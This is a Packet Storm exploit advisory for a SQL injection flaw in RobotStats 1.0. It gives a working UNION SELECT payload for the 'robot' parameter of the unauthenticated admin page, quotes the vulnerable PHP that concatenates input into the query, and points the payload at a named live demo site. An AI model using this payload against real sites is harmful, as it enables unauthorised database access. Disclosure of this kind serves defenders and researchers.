RobotStats 1.0 SQL Injection

2014-11-22T00:00:00
ID PACKETSTORM:129229
Type packetstorm
Reporter ZoRLu
Modified 2014-11-22T00:00:00

Description

                                        
                                            `# Title : RobotStats v1.0 (robot param) SQL Injection Vulnerability  
# Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com  
# Home : http://milw00rm.com / its online  
# Twitter : https://twitter.com/milw00rm or @milw00rm  
# Date : 22.11.2014  
# Demo : http://alpesoiseaux.free.fr/robotstats/  
# Download : http://www.robotstats.com/en/robotstats.zip  
# Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others  
# Birkaciyiadam : Dr.Ly0n, KnocKout, LifeSteaLeR, Nicx (harf sirali :)) )  
  
sql inj.:  
  
target.com/robotstats/admin/robots.php?rub=modif&robot=0x90+union+select+1,2,3,4,5,database(),7,8,9,10  
  
you look other files for sql example (/robotstats/info-robot.php?robot=?)  
  
analysis: (/admin/robots.php)  
  
no security for admin folder (session control, login panel or anyone... maybe its different vulnerability)  
  
include "robots.lib.php"; //line 26  
  
else if ($rub == "modif")  
{  
formulaireRobot($robot); //line 44 (we will be analysis to robots.lib.php for line)  
}  
  
analysis: (/admin/robots.lib.php)  
  
function formulaireRobot($robot) //line 71 (remember function line 44 in robots.php)  
{  
global $RS_LANG, $RS_LANGUE, $RS_TABLE_ROBOTS, $RS_DETECTION_USER_AGENT, $RS_DETECTION_IP;  
  
if ($robot != -1)  
{  
$title = $RS_LANG["ModifyRobot"];  
$sql = "SELECT *";  
$sql .= " FROM ".$RS_TABLE_ROBOTS;  
$sql .= " WHERE id=".$robot; // line 80 (ver yansin amuga goyum!!!)  
$res = mysql_query($sql) or erreurServeurMySQL($sql);  
$enr = mysql_fetch_array($res);  
$rub = "modif";  
$actif = $enr["actif"];  
} //line 85  
  
for demo:  
  
http://alpesoiseaux.free.fr/robotstats/admin/robots.php?rub=modif&robot=0x90+union+select+1,2,3,4,5,database(),7,8,9,10  
`